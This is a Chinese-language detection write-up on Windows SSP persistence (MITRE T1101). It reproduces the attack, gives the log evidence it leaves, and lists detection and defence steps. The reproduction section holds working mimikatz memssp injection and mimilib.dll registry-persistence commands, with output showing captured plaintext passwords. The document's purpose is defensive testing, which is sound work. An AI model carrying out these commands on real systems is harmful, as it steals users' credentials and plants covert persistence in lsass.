简介

Windows SSP(Windows安全支持提供程序)动态链接库在系统启动时加载到LSA(本地安全机构)进程中。一旦加载到LSA中,SSP动态链接库可以访问存储在Windows中的加密和明文密码,例如任何登录用户的域密码或智能卡PIN码。SSP配置存储在两个注册表项中:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages和HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\SecurityPackages。攻击者可能会修改这些注册表项来添加新的SSP。这些SSP将在下次系统启动时加载,或者在调用AddSecurityPackage Windows API函数时加载。

测试案例

SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。

SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。

如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。

检测日志

windows安全日志

测试复现

方法一

使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

1
mimikatz.exe "privilege::debug" "misc::memssp" exit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug
" "misc::memssp" exit

.#####. mimikatz 2.1.1 (x64) built on Apr 9 2017 23:24:20
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 21 modules * * */

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # misc::memssp
Injected =)

mimikatz(commandline) # exit
Bye!

注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:\Windows\system32\mimilsa.log中。

1
type C:\Windows\system32\mimilsa.log
1
2
C:\Users\Administrator>type C:\Windows\system32\mimilsa.log
[00000000:00063a51] DC\Administrator admin.098

方法二

将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。

1
2
3
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
1
2
3
4
5
6
7
8
9
10
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>copy mimilib.dll %systemroot%\
system32
已复制 1 个文件。

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc
ontrolset\control\lsa\ /v "Security Packages"

HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0ts
pkg\0pku2u

注意:最后一步修改注册表需要在powershell命令行下操作,cmd下可能会报错。

1
2
3
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
错误: 无效语法。
键入 "REG ADD /?" 了解用法信息。
1
2
3
4
PS C:\Users\Administrator> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv
1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
值 Security Packages 已存在,要覆盖吗(Yes/No)? y
操作成功完成。

查看注册表 hklm\system\currentcontrolset\control\lsa\Security Packages项的值。

1
2
3
4
5
6
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc
ontrolset\control\lsa\ /v "Security Packages"

HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0ts
pkg\0pku2u\0mimilib

系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。

1
type C:\Windows\system32\kiwissp.log
1
2
3
4
C:\Users\Administrator>type C:\Windows\system32\kiwissp.log
[00000000:000003e7] [00000002] WORKGROUP\DC$ (DC$)
[00000000:00049cd0] [00000002] DC\Administrator (Administrator) admin.098
[00000000:000003e5] [00000005] \ (LOCAL SERVICE)

测试留痕

建议在windows server 2008(含2008)以下版本安装部署sysmon,记录进程名称、进程命令行参数,方便溯源分析;

建议在windows server 2008以上版本操作系统中开启审核进程创建策略,记录进程名称、进程命令行参数,方便溯源分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#针对方法二留痕

EVentID: 4656 #已请求到对象的句柄。
对象:
对象服务器: Security
对象类型: Key
对象名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
句柄 ID: 0x508

进程信息:
进程 ID: 0x748
进程名: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

访问请求信息:
事务 ID: {00000000-0000-0000-0000-000000000000}
访问: READ_CONTROL
查询项值
枚举子项
对项的改动进行通知

EVentID: 4658 #已关闭到对象的句柄。
对象:
对象服务器: Security
句柄 ID: 0x508

进程信息:
进程 ID: 0xbd8
进程名: C:\Windows\System32\Oobe.exe

EVentID: 4688 #已创建新进程。在高版本系统中可记录命令行参数
进程信息:
新进程 ID: 0x5c8
新进程名: C:\Windows\System32\reg.exe
令牌提升类型: TokenElevationTypeDefault (1)

EVentID: 4656 #已请求到对象的句柄。
对象:
对象服务器: Security
对象类型: Key
对象名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager
句柄 ID: 0x694

进程信息:
进程 ID: 0x864
进程名: C:\Windows\System32\Oobe.exe

访问请求信息:
事务 ID: {00000000-0000-0000-0000-000000000000}
访问: READ_CONTROL
查询项值
枚举子项
对项的改动进行通知

检测规则/思路

监控注册表来查看SSP注册表项是否有更改。监控LSA进程来查看是否有动态链接库加载的情况。Windows 8.1和Windows Server 2012 R2中,在注册表项HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File ExecutionOptions\LSASS.exe中设置AuditLevel = 8来加载未签名的SSP动态链接库到LSA时会生成事件。

安全防御措施

1.检查注册表

hklm\system\currentcontrolset\control\lsa\Security Packages位置是否存在可疑dll。

2.检测%windir%\System32是否有可疑dll

3.使用第三方工具 Autoruns 检测LSA中是否存在可疑dll。

Autoruns下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns

参考推荐

MITRE-ATT&CK-T1101:https://attack.mitre.org/techniques/T1101/

AD域SSP权限维持与安全防护:https://xz.aliyun.com/t/7432